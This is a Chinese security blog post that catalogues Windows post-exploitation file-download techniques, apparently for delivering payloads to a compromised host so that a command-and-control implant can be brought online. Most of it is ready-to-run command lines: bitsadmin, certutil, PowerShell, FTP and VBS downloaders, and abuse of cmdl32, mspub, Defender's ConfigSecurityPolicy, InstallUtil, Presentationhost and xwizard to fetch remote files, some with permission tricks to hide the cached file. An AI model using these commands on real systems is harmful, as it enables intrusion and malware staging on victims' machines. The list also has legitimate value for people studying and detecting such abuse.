首页 > 系统相关 >【后渗透】windows远程下载文件命令汇总

【后渗透】windows远程下载文件命令汇总

时间:2024-08-07 17:53:08浏览次数:16  
标签:Files 文件 exe windows 汇总 Microsoft Windows echo 远程

Bitsadmin
Certutil
powershell
FTP
cscript
cmdl32
Mspub.exe
ConfigSecurityPolicy.exe
Installutil
Presentationhost.exe
Xwizard.exe
其他

前言

我们在渗透过程中,当获取到一个shell能够执行命令的同时,想要上线c2,就要先将文件传输到目标,并用到一些命令行中的下载命令如BITSAdmin、Certutil、 powershell、HH等。

本文将列举一部分文件落地的下载方式。无文件落地不在本篇范围内。

Bitsadmin

BITSAdmin 是一个命令行工具,可用于创建下载或上传作业并监视作业的进度。

3文件路径:

C:\Windos\System32\Bitsadmin.exe

支持系统:

WindowsServer 2022、WindowsServer 2019、Windows Server 2016、Windows Server 2012、Windows 10、Windows7

用法:

bitsadmin /transfer myDownLoadJob /download /priority normal "http://url/a.ps1" "c:\b.ps1"
bitsadmin /rawreturn /transfer getfile http://url/s.zip c:\s1.zip
bitsadmin /rawreturn /transfer getpayload http://url/c.zip c:\c1.zip

Certutil

certutil是Windows自带的证书管理工具,具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。

文件路径:

C:\Windows\System32\Certutil.exe

支持系统:

windows

用法:

#保存文件并指定新文件名
certutil.exe -urlcache -split -f http://url/1.txt file.jsp
注:使用下载,会在工具缓存目录产生缓存文件
#缓存路径
C:\Users\xq\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
#查看缓存项目:
certutil.exe -urlcache *

powershell

自win7/win 2008开始,win系统增加了powershell工具。
PowerShell是一种命令行外壳程序和脚本环境

文件路径:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

支持系统:

win7/win2008 =<

用法:

powershell (new-objectNet.WebClient).DownloadFile('http://url/aa.ps1','c:\bb.ps1')

FTP

将文件传输到运行文件传输协议的计算机 (ftp) 服务器服务。可以通过处理 ASCII 文本文件以交互方式或在批处理模式下使用此命令。

文件路径:

支持系统:

windows

用法:

cmd无交互

echo open 192.168.225.79>ftp.txt
echo user>>ftp.txt
echo pass>>ftp.txt
echo get /sd.exe>>ftp.txt
echo quit>>ftp.txt

@ftp -s:ftp.txtVBS脚本

cscript

在windows中还支持一种VBS后缀脚本语言,可看作VB语言的简化版

文件路径:

C:\Windows\System32

支持系统:

windows

用法:

cmd无交互

echo Set Post = CreateObject("Msxml2.XMLHTTP") >> download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >> download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >> download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >> download.vbs
echo aGet.Mode = 3 >> download.vbs
echo aGet.Type = 1 >> download.vbs
echo aGet.Open() >> download.vbs
echo aGet.Write(Post.responseBody) >> download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >> download.vbs
#执行
cscript downfile.vbs

省略······
除了上述这些经典的方法,我还总结了一些tips

cmdl32

Microsoft 连接管理器自动下载。

文件路径:

    C:\Windows\System32\cmdl32.exe

    C:\Windows\SysWOW64\cmdl32.exe

支持系统:

WindowsVista、Windows7、Windows8、Windows8.1、Windows10、Windows11

从配置文件中指定的网址下载文件。下载的文件将位于名称 VPNXXXX.tmp 下的 %TMP% 中

用法:

创建文本 1.txt
[Connection Manager]
CMSFile=1.txt
ServiceName=WindowsUpdate
TunnelFile=1.txt
[Settings]
UpdateUrl=http://192.168.3.114:81/test.txt
#赋予权限,设置缓存位置,并下载
icacls %cd% /deny %Username%:(OI)(CI)(DE,DC)
set tmp=%cd%
cmdl32 /vpn /lan %cd%\1.txt
#删除权限,否则无法操作文件
icacls %cd% /remove:d %username%

Mspub.exe

mspub.exe是属于Microsoft Publisher产品的主要流程,允许制作商业和个人时事通讯和出版物。包含在office套件中。

文件路径:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exe

支持系统:

Windows 10、Windows 11

该命令将下载远程文件并放入缓存文件夹

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

用法:

该方法依赖offce套件,执行后将会打开publisher应用窗口。

从远程服务器下载负载

mspub.exe https://example.com/aaaa

ConfigSecurityPolicy.exe

Defender文件,用于管理Windows Defender中的设置。

文件路径:

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

支持系统:

Windows 10、Windows 11

用法:

该命令将下载远程文件并放入缓存文件夹 win10:

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE
ConfigSecurityPolicy.exe https://example.com/aaaa

Installutil

是一个命令行实用程序,允许通过在指定程序集中执行安装程序组件来安装和卸载。此工具与System.Configuration.Install命名空间中的类一起工作。

文件路径:

C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe

支持系统:

Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

用法:

该命令将下载远程文件并放入缓存文件夹

#win10:
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
#win7:
%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
InstallUtil.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Presentationhost.exe

它使 WPF 应用程序可承载于兼容的浏览器,用于运行XAML浏览器应用程序 .

文件路径:

C:\Windows\System32\Presentationhost.exe
C:\Windows\SysWOW64\Presentationhost.exe

支持系统:

Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

用法:

该方法是调用IE浏览器下载,会弹出ie窗口及文件保存窗口,此时无需保存,文件已存在缓存目录内

该命令将下载远程文件并放入缓存文件夹

#win10:
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE
#win7:
%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
Presentationhost.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Xwizard.exe

执行已添加到注册表的自定义类或使用Xwizard.exe下载

文件路径:

C:\Windows\System32\xwizard.exe
C:\Windows\SysWOW64\xwizard.exe

支持系统:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

用法:

使用该方法时,会弹出错误警告窗口。但文件已经存入ie缓存目录

Xwizard.exe使用RemoteApp和桌面连接向导下载文件,并将其保存到

%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>

%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files

xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z 
https://www.baidu.com/img/flexible/logo/pc/result.png

其他

这里只总结了一小部分方法,除此之外还有很多能够用来远程下载文件的系统应用。

...........................................

原创 雷石安全实验室

标签:Files,文件,exe,windows,汇总,Microsoft,Windows,echo,远程
From: https://www.cnblogs.com/o-O-oO/p/18347520

相关文章

  • CentOs7 中mysql8 设置远程连接
    迁移csdnCentOs7中Mysql8.0设置远程连接1登陆Mysqlmysql-uroot-p输入密码2选择mysql数据库usemysql;在mysql数据库中存储了用户信息的user表3在mysql数据库的user表中查看当前root用户的相关信息selecthost,user,authentication_string,pluginfromus......
  • "AI教母"李飞飞相关论文汇总推荐
    OpenSNN开思通智网,官网地址:https://w3.opensnn.com/2024年8月份"O站创作者招募计划"快来O站写文章,千元大奖等你来拿!“一起来O站,玩转AGI!”ImageNet:ALarge-ScaleHierarchicalImageDatabase论文链接:stanford.edu简介: 互联网上图像数据的爆炸式增长有可能催生出更复......
  • windows将frp或其他应用配置为service服务并开机自启
    原文:https://blog.csdn.net/weixin_44398687/article/details/1312729231.下载WinSW安装包github下载地址:WinSW可以将下载的文件改名为winsw.exe,方便后续操作2.编写一个配置文件在winsw.exe的同级创建一个和winsw同名的xml配置文件,exe和xml可以修改文件名称,保持同名即可......
  • CentOS Stream 9 安装mysql 开启远程访问 忽略大小写
     更新sudodnfupdate安装MySQL服务器:这边安装的是默认8.0sudodnfinstallmysql-server启动MySQL服务:sudosystemctlstartmysqld确保MySQL服务设置为在启动时自动启动:sudosystemctlenablemysqld运行初始安全脚本来设置root用户密码和调整安全......
  • C#关键字汇总
    1.访问修饰符:public:访问不受限制。private:访问仅限于当前类。protected:访问限于当前类和派生类。internal:访问限于当前程序集。protectedinternal:访问限于当前程序集或派生类。2.类型声明:class:声明一个类。struct:声明一个值类型结构。interface:声明一个接口。enum:声明一个枚举。......
  • 十万个为什么 [CMake] Windows MinGW Cmake
    搜索cmakegenerator 在settings.json里面添加"cmake.preferredGenerators":[    "MinGWMakefiles"  ]  cmake_minimum_required(VERSION3.0.0)project(idatalinkVERSION0.1.0)if(CMAKE_BUILD_TYPESTREQUAL"Release")......
  • 远程抄表,构建智能水电管理
    选自成都纵横智控官网-https://www.iotrouter.com/news/1320.html众所周知,传统的人工抄表方式需要耗费大量人力资源,同时存在抄表难、监管难、收费难、缴费难等一系列问题。在万物互联时代下,物联网技术迅速发展,智能水电联控云平台应运而生,它为物业管理领域提供了一个便捷高效......
  • Windows环境下jmeter安装与环境变量配置
    1、首先,确保你的Windows系统上已经安装了JDK。‌JMeter需要JDK来运行,‌建议使用JDK1.8或更高版本。‌参考文章地址:https://www.cnblogs.com/mimosaling/p/183467382.Jmeter下载官网下载 地址:https://jmeter.apache.org/download_jmeter.cgi 选择apache-jmeter-5.6.3.zips......
  • windows 下载安装 RocketMQ
    下载|RocketMQ(apache.org)确保本地环境有jdk和maven(检查一下)在Windows系统中,可以通过按下Windows键+R,输入cmd并回车来打开命令行窗口在命令行中输入java-version命令,如果JDK已经安装,系统会显示安装的Java版本信息在命令行中输入mvn-v命令,如果maven已经安装,系统会显示......
  • 预装Windows 11系统的新电脑怎么跳过联网验机?这两种方法可以搞定
    温馨提示:跳过windows11联网的方法不一定适用于所有电脑,且过程中可能会出现卡顿的现象,请做好心理准备。验机本就是个人意愿,非硬性要求,不喜欢折腾的就别弄,有问题务必第一时间找售后。不少笔记本新机都预装了Windows11系统,而初次开机的正常流程下,Windows11系统(家庭版......